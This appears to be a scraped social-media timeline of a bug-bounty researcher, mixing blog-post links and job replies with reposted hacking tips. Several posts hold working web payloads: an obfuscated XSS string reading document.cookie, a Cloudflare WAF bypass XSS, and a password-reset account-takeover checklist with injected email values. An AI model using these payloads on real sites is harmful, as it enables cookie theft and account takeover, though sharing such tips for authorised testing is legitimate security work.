Utkarsh Srivastava

[Utkarsh Srivastava @u25tkarsh]

I just published I Thought It Was a Container… It Was a Whole Azure VM (RCE Story) https://t.co/7cXIeeGKXX

[aditii @aditiitwt]

If you’re trying to land remote jobs that pay in USD,

this post is for you

Check This 11 sites for job searching :

flexjobs .com
remote .co
devsnap .io
remotive .io
remoteok .io
whoishiring .io
justremote .co
remotefront .io
powertofly .com
wellfound .com
skipthedrive .com

[Utkarsh Srivastava @u25tkarsh]

@JobFound5 I'm Interested

[Utkarsh Srivastava @u25tkarsh]

I just published Catch Me If You Can: Building an ‘Offensive’ Anti-Theft System for Windows https://t.co/tZWN1jqnNH

[Utkarsh Srivastava @u25tkarsh]

@Huh0x01 So true😭

[Utkarsh Srivastava @u25tkarsh]

Just finished setting up my Active Directory lab.
Built the environment from scratch, configured domains, users, and vulnerable paths — now ready to dive deep into AD exploitation & defense.
Onward to enumeration, privilege escalation, and breaking AD the right way 💥

#CRTA

[Utkarsh Srivastava @u25tkarsh]

I just published Multithreading: Event Loops vs Thread Pools and more…

https://t.co/MJoLQlWpiN

[Utkarsh Srivastava @u25tkarsh]

@rqobela Php

[Professor the Hunter @bughuntar]

🐞Bug Bounty Tips📷
📷Best IDOR Checklist:

#bugbounty #bugbountytips #Professor #CyberSecurity #IDOR

[khan mamun @mamunwhh]

<!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>

[Ahmet Barut @ahmtbrt07]

bugTricks# Password Reset Functionality Testing

# [email protected]

1- Try [email protected]

2- Try [email protected],[email protected]

3- Try [email protected]&[email protected]

3- Try [email protected],cc: [email protected]

4- Try [email protected]\ncc: [email protected]

5- Try {"email": "[email protected]", "email":"[email protected]"}

6- Try {"email": ["[email protected]", "[email protected]"]}

7- Try email=“[email protected]$%0a%0d$cc: [email protected]” --> Hussein Daher ThreatCon Fuzzing Technique

7- Try user[email][][email protected]&user[email][][email protected] --> CVE-2023-7028

I've shared my own experience and approach, as well as the approach of elite hunters. I hope you find it helpful. thanks @nahamsec @HusseiN98D 🙏

#BugBounty #EthicalHacking #CyberSecurity

[Utkarsh Srivastava @u25tkarsh]

@Huh0x01 100% agreed

[Utkarsh Srivastava @u25tkarsh]

@JobFoundUK Interested

[Utkarsh Srivastava @u25tkarsh]

@JobFound5 Interested

[Utkarsh Srivastava @u25tkarsh]

New XSS Bypass Cloudflare WAF 🧱

Payload : %3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E

[Mohamed Ahmed @mooo_sec]

💡 Tip: always check .js files for

Authorization: "Basic"

You can often find unauthorized access and it can lead to critical bugs.

#BugBounty #InfoSec #SecurityTips #InformationDisclosure

[Utkarsh Srivastava @u25tkarsh]

I just published HTML Injection via EXIF MetaData https://t.co/uLVGjjqv7h

[DarshanKrishna.algo🥑 @CrypTech_DK]

@_adarshtwt I agree.
If you are planning to contribute to some small repositories, feel free to explore:
https://t.co/eHwlcM3Daz

[kanav @kanavtwt]

There is a free and open source alternative to Netflix btw.

It's called Stremio.

[Khizer Javed @KHIZER_JAVED47]

Found a Google API key during a Pentest or Bug Bounty and not sure what to test?
Try Gemini API Key Exposure Scanner https://t.co/AProfJxpjv

It validates if a key is accepted by Gemini endpoints and shows what it can actually do.